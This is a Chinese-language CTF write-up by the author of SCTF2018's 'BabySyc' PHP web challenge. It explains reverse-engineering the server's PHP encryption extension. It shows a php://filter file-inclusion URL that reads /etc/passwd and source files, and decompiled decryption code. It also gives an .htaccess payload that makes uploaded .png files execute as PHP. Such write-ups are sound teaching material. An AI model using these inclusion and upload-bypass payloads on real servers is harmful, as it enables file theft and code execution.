SCTF2018 BabySyc - Simple PHP Web Writeup
题目描述:
简单的php题目,来挑战一下吧 ~
http://116.62.71.206:52872/?f=login.php
前言
毕业前留下一点微小的贡献吧,此题主要是围绕php加密插件来出题的,其它的算是点缀,不过好像很多人在第二步上传卡死了。本来想第二早放提示,结果wupco师傅早上5点用了一个非预期解出了,Orz。
获取插件
漏洞点很明显,有一个文件包含,可以直接读取到/etc/passwd
http://116.62.71.206:52872/?f=php://filter/convert.base64-encode/resource=/etc/passwd
尝试读取login.php
的时候,可以发现得到一堆乱码。
http://116.62.71.206:52872/?f=php://filter/convert.base64-encode/resource=login.php
当然从phpinfo中也可以一些插件信息,encrypt_php
,大致能够明白上面获取php代码的时候是因为php内容被加密,导致乱码。当然加密算法部分是自己加入一些简单的操作。
http://116.62.71.206:52872/phpinfo.php
同样在phpinfo中还可以得到扩展的目录: extension_dir: /usr/lib/php/20131226
为了加大点分析难度,把符号表去掉了,然后一些函数名也隐藏掉了。
strip encrypt_php.so
隐藏函数名,在函数申明前加上这样的修饰,gcc编译的时候就会隐藏一些信息:
__attribute__ ((visibility ("hidden") ))
向师傅学习了一波,不用再每个函数加这么麻烦。
configure的时候 ./configure CFLAGS='-fvisibility=hidden' 加这个参数
插件分析
这里简单提一下php的代码加密,可以观摩小鹿师傅的一篇博文Decrypt php VoiceStar encryption extension
php代码加密大致分为几种类型:
1、代码混淆,比如phpjiami,这种解密在底层hook住zend_compile_string函数即可解密。
2、扩展加密,这种加密可以使用各种自己写的算法把数据加密,然后通过hook住zend_compile_*类的函数来完成,当然会牺牲一些性能。比如这次题目中我是Hook了zend_compile_file
,因为在php单个生命周期里面,运行时是会通过zend_compile_file
做词法分析、语法分析和中间代码生成操作,所以把加密后的php内容在它之前解密为正常的php内容,这样才能正常运行。
3、Swoole Compile加密,对opcode做了混淆。
拿到一个插件前,可以先看看zm_startup_插件名
、zm_shutdown_插件名
、zm_activate_插件名
、zm_deactivate_插件名
,这些函数也是在下面几个过程时会执行。
下图为hook住php函数示意图:
可以看到在起始阶段就是替换为encrypt_compile_file函数。
然后跟入,前面一个strstr判断是php的一些伪协议需要,直接给php原本的函数处理了。然后就是打开一个文件,将内容传入sub_3580
函数解密.
sub_3580函数内容如下:
v1 = sub_2290("YP68y3FsMDc6TvRgghq");
fread(&ptr, 8uLL, 1uLL, stream);
fread(&v14, 8uLL, 1uLL, stream);
v3 = malloc(0x200000uLL);
__fread_chk(v3, 0x200000LL, 1LL, v4, stream);
fclose(stream);
if ( (unsigned int)sub_34B0((char *)v5) )
{
v13 = tmpfile();
fwrite(v5, 0LL, 1uLL, v13);
free(v5);
rewind(v13);
result = v13;
}
else
{
v6 = *(_BYTE *)v5;
v7 = (char *)v5;
if ( *(_BYTE *)v5 )
{
do
{
*(++v7 - 1) = v6 ^ 0x9A;
v6 = *v7;
}
while ( *v7 );
}
v8 = malloc(0x200000uLL);
v9 = v14;
*v8 = 0LL;
v10 = v8;
uncompress(v8, &ptr, v5, v9);
sub_3340(0LL, v10, (unsigned int)ptr, &v18, &ptr);
v11 = tmpfile();
fwrite(v10, 1uLL, ptr, v11);
free(v5);
free((void *)v10);
rewind(v11);
result = v11;
}
return result;
先说下整体过程吧。
1、对YP68y3FsMDc6TvRgghq
进行md5,这个也将会作为aes加密的key。
2、获取文件开头的两节字符,作为压缩字符的一个参考,因为compress还需要知道解压后的长度。然后就是获取加密的内容。
3、接下来就是对加密的内容进行异或处理(异或0x9A
)
4、然后就是将异或后的内容进行解压
5、对解压后的数据进行aes解密
当然里面还有一个细节sub_34B0这个函数。
__int64 __fastcall sub_34B0(char *s)
{
v1 = (char *)malloc(0x200000uLL);
v2 = strlen(s) + 1;
__memset_chk(v1, 0LL, v2, 0x200000LL);
__memcpy_chk(v1, s, v2, 0x200000LL);
v3 = *v1;
for ( i = v1; *i; v3 = *i )
{
if ( (unsigned __int8)(v3 - 65) <= 0x19u )
*i = v3 + 32;
++i;
}
v5 = 1;
if ( !strstr(v1, "<?php") && !strstr(v1, "<?=") && !strstr(v1, "<script") )
{
v5 = 0;
free(v1);
}
return (unsigned int)v5;
}
它是在解密之前进行判断的,主要是对文件内容判断是否存在一些php的开始标志,也就是如果php不是加密的,就会返回空白页面。
文件上传
通过上面的解密函数可以解login.php文件,拿到账号/密码。
<?php
if (isset($_POST['name']) && isset($_POST['pass'])) {
if ($_POST['name'] === 'admin' && $_POST['pass'] === 'sctf2018_h656cDBkU2') {
$_SESSION['admin'] = 1;
} else {
die('<script>alert(/Login Error!/)</script>');
}
}
//admin view
if (@$_SESSION['admin'] === 1) {
?>
<form action="./?f=upload_sctf2018_C9f7y48M75.php" method="POST" enctype="multipart/form-data">
<input type="file" value="" name="upload">
<input type="submit" value="submit" name="submit">
</form>
然后解密upload_sctf2018_C9f7y48M75.php
<?php
if (!isset($lemon_flag)) {
die('No!');
}
if (@$_SESSION['admin'] !== 1) {
die('403.');
}
$ip = sha1(md5($_SERVER['REMOTE_ADDR'] . "sctf2018"));
$user_dir = './upload_7788/' . $ip;
if (!is_dir($user_dir)) {
mkdir($user_dir);
touch($user_dir . '/index.php');
}
if (isset($_POST['submit']) && !empty($_FILES)) {
$typeAccepted = ["image/jpeg", "image/gif", "image/png"];
$blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps", "inc"];
$filearr = pathinfo($_FILES["upload"]["name"]);
if (!in_array($_FILES["upload"]['type'], $typeAccepted)) {
die("type error");
}
if (in_array($filearr["extension"], $blackext)) {
die("extension error");
}
$target_path = $user_dir . '/';
$target_path .= basename($_FILES['upload']['name']);
if (!move_uploaded_file($_FILES['upload']['tmp_name'], $target_path)) {
die('upload error!');
} else {
echo 'succesfully uploaded! dir: ' . $user_dir . "/" . $_FILES['upload']['name'];
}
} else {
die("<script>alert('please upload image.')</script>");
}
?>
文件上传有一个默认apache配置的坑,使用的apt安装,默认带一些其他后缀,所以大家可能以为考的是php7这个点。
但是上传后可以发现是不解析的,原因在于upload_7788
下面的htaccess的设置。
php_flag engine off
Options All -Indexes
其中这里面有一个就是engine的问题,可以看下php官网下apache的一些配置说明,http://php.net/manual/zh/apache.configuration.php
apache和php是相互独立的,在上面的配置中apache会把php7设置的头为: application/x-httpd-php
,然后交给php来处理。但是呢,如果你把engine关闭了,它不会当成php文件去解析了,即使你的头设置为application/x-httpd-php
。
所以在上传的目录中,应该先上传.htaccess
,内容如下:
AddType application/x-httpd-php .png
php_flag engine 1
然后上传1.png,当然内容需要加密一下。
非预期
吃完饭回来写,Nu1L队的wupco师傅在后面文件上传那块用了session upload非预期,然后再进行文件包含。
php这个配置有点无赖,session.upload_progress.enabled,注释掉的,但是它最后解析是为on的。